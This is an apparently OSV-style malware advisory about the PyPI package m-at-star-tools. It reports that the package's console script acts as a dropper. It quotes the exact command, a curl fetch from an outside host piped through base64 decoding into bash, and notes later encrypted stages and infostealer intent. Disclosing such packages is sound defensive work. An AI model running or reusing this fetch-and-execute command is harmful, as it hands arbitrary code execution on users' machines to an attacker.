MAL-2026-4812

Dashboard / Malicious Package / MAL-2026-4812

MAL-2026-4812

Summary: Malicious code in m-at-star-tools (PyPI)

Details: Source: amazon-inspector (2934ab77e0615ccddf2cf336b023659bafca2fe94bbf2f78e4c0d2a2ba1d7bf2) The package's sole console_script `m0scan` (m0scan/main.py:6-7) executes `curl -sL https://mspy.qzz.io/M0scan | base64 -d | bash`, fetching an opaque base64-encoded shell payload from a dynamic-DNS-style host (`mspy.qzz.io`) unrelated to any publisher infrastructure and piping it directly to bash. The fetch is unpinned, unverified (no hash, no signature), obfuscated (base64), and points at a mutable URL — whoever controls `mspy.qzz.io/M0scan` controls arbitrary code execution on every user who runs the tool. Package metadata is throwaway: author `M-AT-STAR`, generic GitHub homepage, 5-byte README, no email or license. The package self-describes as an 'M0scan installation wrapper' — the wrapper IS the dropper. Any invocation of the documented CLI yields full attacker code execution on the installer's machine. Source: kam193 (1c1aca876bca2f4006ca7cad627f7eb20efcd63e7d9706852e1740d4c0d66dc1) The package downloads remote encoded code, which then downloads the next encrypted stage. The encryption of final data requires knowing a code. Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-m-at-star-tools Reasons (based on the campaign): - Downloads and executes a remote malicious script. - obfuscation

References: https://pypi.org/project/M-AT-STAR-Tools/1.0.4/, https://bad-packages.kam193.eu/pypi/package/m-at-star-tools